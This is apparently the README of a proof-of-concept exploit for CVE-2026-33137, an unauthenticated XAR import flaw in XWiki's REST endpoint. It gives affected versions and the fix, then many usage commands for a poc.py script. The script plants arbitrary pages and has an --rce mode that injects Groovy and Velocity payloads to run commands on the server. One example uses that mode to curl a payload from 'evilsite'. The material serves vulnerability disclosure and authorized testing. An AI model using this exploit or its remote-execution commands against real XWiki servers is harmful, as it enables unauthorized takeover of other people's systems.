
XWiki Platform - CVE-2026-33137 PoC - Unauthenticated XAR Import via REST /wikis/{wikiName}
XWiki Platform - Unauthenticated XAR Import via REST /wikis/{wikiName}
The POST /wikis/{wikiName} REST API endpoint in XWiki Platform executes a XAR (XWiki Archive) import without performing any authentication or authorization checks. An unauthenticated attacker can create or update arbitrary documents in the target wiki by sending a crafted XAR file.
AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N| Status | Versions |
|---|---|
| Vulnerable | > 15.10.16, > 16.4.6, > 16.10.2 |
| Patched | 16.10.17, 17.4.9, 17.10.3, 18.0.1, 18.1.0-rc-1 |
An unauthenticated attacker can:
The REST endpoint POST /xwiki/rest/wikis/{wikiName} accepts a XAR file in the request body and imports it directly into the wiki without checking if the requester has ADMIN rights. The fix (commit 4b7b95b) adds an authorization check using ContextualAuthorizationManager.checkAccess(Right.ADMIN, ...).
# Install requirements
pip install requests
# Basic usage
python poc.py -t http://target:8080
# Specify wiki, space, and page names
python poc.py -t http://target:8080 -w xwiki -s MySpace -p MyPage
# Probe the target first
python poc.py -t http://target:8080 --probe
# Use a proxy (e.g., Burp Suite)
python poc.py -t http://target:8080 --proxy http://127.0.0.1:8080
# Custom content
python poc.py -t http://target:8080 -c "Proof of Concept"
# RCE mode: execute a command on the target server
python poc.py -t http://target:8080 --rce "id"
# RCE with authenticated triggering (if credentials are available)
python poc.py -t http://target:8080 --rce "curl http://evilsite/payload" -u admin --password pass
--rce)The --rce flag imports pages containing Groovy and Velocity payloads that execute the specified command string. It automatically:
{{groovy}} and {{velocity}} macrosRequirements for successful RCE:
-u / --password)package.xml - package descriptor{Space}/{Page}.xml - document XML with contentThis PoC is provided for educational and authorized security testing purposes only. Unauthorized use of this exploit against systems you do not own or have explicit permission to test is illegal. The author is not responsible for any misuse or damage caused by this software.